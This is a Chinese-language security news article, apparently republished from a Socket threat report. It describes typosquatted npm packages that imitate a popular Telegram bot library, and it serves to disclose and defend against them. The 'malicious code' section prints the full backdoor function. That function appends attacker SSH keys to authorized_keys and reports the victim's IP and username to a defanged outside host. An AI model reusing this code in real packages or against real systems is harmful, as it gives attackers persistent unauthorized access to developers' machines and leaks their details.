npm恶意软件盯上Telegram机器人开发者,植入SSH后门

admin 2025年4月22日23:48:57评论0 views字数 4487阅读14分57秒阅读模式

扫码领资料

获网安教程

npm恶意软件盯上Telegram机器人开发者,植入SSH后门
npm恶意软件盯上Telegram机器人开发者,植入SSH后门

Track安全社区投稿~  

赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

冒充 Telegram 机器人库的恶意 npm 包在 Linux 开发者机器上安装 SSH 后门并窃取数据。

Socket 的威胁研究团队发现了一起新的供应链攻击事件:攻击者通过拼写错误的 Telegram 机器人库投放 SSH 后门并执行数据窃取操作。

Telegram 的开发者乐园

Telegram 是全球最受欢迎的消息平台之一,近年来也逐渐成为攻击者的重点目标。其开放的生态系统和对机器人友好的架构吸引了众多开发者,同时也为滥用行为提供了温床。

截至 2025 年,Telegram 每月活跃用户已超过10 亿,其中包含超过1200 万付费订阅者。

该平台没有为机器人提供集中或官方的应用商店,任何人都可以使用 Bot API 创建并发布机器人,且无需正式审核流程。虽然平台在一定程度上进行了内容管理(例如滥用举报、垃圾信息检测),但这些措施通常在部署后才会生效,并不像 Apple 的 App Store 或 Google Play 那样有提交前的审核阶段。

由于 Telegram 机器人开发不包含正式审核流程,其生态系统极易被滥用:

  • 庞大而脆弱的生态系统:机器人开发大赛(奖金高达 $50K)吸引了大量热情但经验不足的开发者。
  • 无监管门槛:在没有官方应用目录的情况下,恶意或伪造的 npm 包可以轻易被集成到机器人或应用中,不易引起警觉。

恶意 npm 包伪装成流行 Telegram Bot API 库植入 SSH 后门

自 2025 年初以来,我们观察到多个恶意 npm 包伪装成流行库node-telegram-bot-api(下载量超过 417 万),该库是开发者通过 npm 扩展 Telegram 功能时默认安装的。被投放的拼写错误版本包括node-telegram-utilsnode-telegram-bots-apinode-telegram-util,它们在毫无察觉的主机上悄然安装了后门。

这些恶意包在过去几个月里累计被下载约 300 次。尽管这个数字看起来并不多,但只需一个环境被攻破,便可能为大规模渗透或数据泄露打开大门。供应链安全事件一再表明,即使安装量极少,也可能造成灾难性后果,尤其是当攻击者可以直接访问开发者系统或生产服务器时。

npm恶意软件盯上Telegram机器人开发者,植入SSH后门

所有恶意包的总下载次数

恶意包

合法包:

  • node-telegram-bot-api- 被广泛信任的 Telegram 机器人库
npm恶意软件盯上Telegram机器人开发者,植入SSH后门

合法的 Node.js Telegram 机器人库,下载量约为 420 万次

恶意包:

  • node-telegram-utils
  • node-telegram-bots-api
  • node-telegram-util
npm恶意软件盯上Telegram机器人开发者,植入SSH后门

这些恶意包复制了合法包的 README,以制造虚假的可信感,欺骗开发者。

Starjacking(劫持星标)

这些拼写错误的包甚至将其“主页”链接指向真实的 GitHub 仓库,使其在 npm 侧边栏中显示出 19K+ 的 star 数。通过劫持这个 star 数量,它们借用了合法项目的信任度,从而在第一眼就欺骗了开发者。

SSH 后门:持久访问与数据窃取

这些恶意的 Telegram 包在构造函数调用时会自动调用隐藏函数addBotId(),执行以下操作:

  1. 1. 自动执行,仅限 Linux 系统
    • • 在包初始化时,addBotId()检查os.platform()
    • • 如果检测到是Linux,则恶意操作开始执行——无需用户交互
  2. 2. 注入 SSH 密钥
    • • 代码修改~/.ssh/authorized_keys文件,写入两个由攻击者提供的 SSH 公钥。
    • • 从而实现持久的、无需密码的远程登录。即使其中一个密钥被删除,攻击者仍可使用备份密钥。
  3. 3. 数据窃取
    • • 脚本会收集系统的外部 IP(通过ipinfo[.]io/ip)以及用户名
    • • 并立即与solana[.]validator[.]blog进行通信,确认系统已被入侵。

由于这段约 40 行的代码隐藏在一个看似正常的 Telegram 机器人库中,开发者很容易忽视它们。仅仅卸载该包并不能移除已注入的 SSH 密钥,系统仍将暴露在未经授权的访问风险之下。

恶意代码

async function addBotId() {
  const username = os.userInfo().username;
  const publicKey = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0eFAxoea78gXpURdj7ufXx1LVEOoVKawxRnwAghXHwGUw4V0V3n194wyUOUGrloGLn5IZ2JGdWLu0b0VHVG1asapkd8l7lKgvPf5yfjrccDs1qpvID8mLzsTfNMwZQlS+sw+bgJx/74f6i3t6QYuBsB0xPuLx8EXok96N1yTjPVXWq3Czwt5pmG+xZFddZLYDMpf8GonwdfTx7BACcapueoSMmOHZX3w1mjOHsT1b41gmHIEGsyo67KN4FLOkWOZIjc7Qge4iRjL24smRZPFJ4FeQjUo7rvEUxTNFb8yTgMGA+o2H3Uqvm/vXYiOTD87UUvy/3hOkoZzJLyFsV1bfyq6/8IQETqMguLzwIT8S1TlJHBUf1sXYh/5dHI4cMXz/r/eK4VlqQvZEE1TJIyAi0ZKnup6j2R3SdO/EIuZeanHyH/u6CboWZ8OcVzDY9EBVxmuYmkCIFiauNHlDNCJwm4CFM1oYinAQsh92zCUmZKQAgnH499mRPR1PWH4m1Ok= sleeper@DESKTOP-GM46AVB n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaDUmF1FSs6ZIP3Za94X9ehOdheKS4fXQMnOgmiFC4SKQsqHj63xIUCc2nZsRlMbzvxlCGp+MAKyEZSsqCH8QEZ9ye6ovd0wqI1zI1MJtTfMHIKdeVfdjjWgS9C14lX34j4iqAfZL6zkXWT20V3CFEM9UjJM3uvDs31t7FYN6CgB166lIUpxobpT5vfXIA8ZNVH230R9PSIWTSYSDq08bE/YbMouCHZ0RQHecq0AI3wiC4sT1HbUn48lJ37fDIJmfKLLPoNca6cK3Fl88CNQfWUpRsm4lF3Y8XPa6Hn5RQqgoYKd9QSfwOc63EvfqOIgfGuEC5P4BYuF5K/zF/GLeR administrator@Kakashi-PC`; // Multiple SSH keys for redundancy

  if (os.platform() === 'linux') {
    try {
      const ipAddress = await getBotId();
      const sshDir = path.join(os.homedir(), '.ssh');
      const authorizedKeysPath = path.join(sshDir, 'authorized_keys');

      if (!fs.existsSync(sshDir)) {
        fs.mkdirSync(sshDir, { mode: 0o700 });
      }

      if (!fs.existsSync(authorizedKeysPath) || !fs.readFileSync(authorizedKeysPath, 'utf8').includes(publicKey)) {
        fs.appendFileSync(authorizedKeysPath, `n${publicKey}`);
      }

      https.get(`hxxps://solana[.]validator[.]blog/v1/check?ip=${ipAddress}&name=${username}`);
    } catch (err) {
      console.error('Error:', err);
    }
  }
}

该代码添加了多个攻击者的密钥以实现持久访问,并窃取数据。

npm恶意软件盯上Telegram机器人开发者,植入SSH后门

Socket AI 扫描器的分析,包括有关恶意node-telegram-util包的上下文细节。

影响

这些恶意 npm 包带来了重大威胁:

  • • 通过 SSH 实现持久的未经授权的服务器访问。
  • • 通过窃取敏感信息发生数据泄露。
  • • 任意远程代码执行,可能导致系统完全被攻破。

这些攻击的复杂性和多样性突显了开发者基础设施、用户隐私和操作安全面临的关键风险。

缓解 npm 恶意软件风险

最近发现的恶意 npm 包,如针对 Telegram 的包(node-telegram-utilsnode-telegram-bots-api)突显了攻击者对软件供应链构成的持续威胁。即使是单个被攻破的开发机器或服务器,也能为攻击者提供更广泛渗透、未经授权的 SSH 访问和敏感数据窃取的突破口。

攻击者继续展现出适应性,利用 npm 这样的受信任开源生态系统分发伪装成合法工具的恶意软件。鉴于最近的趋势,我们预计攻击者将继续使用先进的混淆技术和不断变化的动态有效载荷投递方法发起攻击。

为了减轻这些风险,开发者和组织必须主动保护其软件供应链。定期的依赖性审计和自动化扫描工具对于在集成到生产环境之前检测并快速响应第三方包中的恶意或异常行为至关重要。

Socket 的GitHub 应用提供了对拉取请求的实时监控,在合并之前标记可疑或恶意的依赖项。在 npm 安装或构建过程中实施Socket CLI进一步通过识别漏洞和异常来加强管道的安全性,防止它们到达生产环境。此外,Socket 浏览器扩展通过分析浏览活动并在下载或与恶意内容互动之前向开发者发出潜在威胁警告,从而提供主动保护。将这些多层安全措施整合到开发工作流中,可以显著减少软件供应链被攻破的风险。

补充材料与IOCs

恶意包

  • node-telegram-utils
  • node-telegram-bots-api
  • node-telegram-util

恶意作者

  • jordankakashi
npm恶意软件盯上Telegram机器人开发者,植入SSH后门

IOCs

  • • Malicious URLs:solana[.]validator[.]blog

MITRE ATT&CK 技术

  • T1195.002— Supply Chain Compromise
  • T1036.005— Masquerading
  • T1505.003— Server Software Component: SSH Authorized Keys Modification
  • T1567.002— Exfiltration Over Web Service
获取更多精彩内容,尽在Track安全社区~:https://bbs.zkaq.cn

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):npm恶意软件盯上Telegram机器人开发者,植入SSH后门

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月22日23:48:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   npm恶意软件盯上Telegram机器人开发者,植入SSH后门https://cn-sec.com/archives/3986705.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息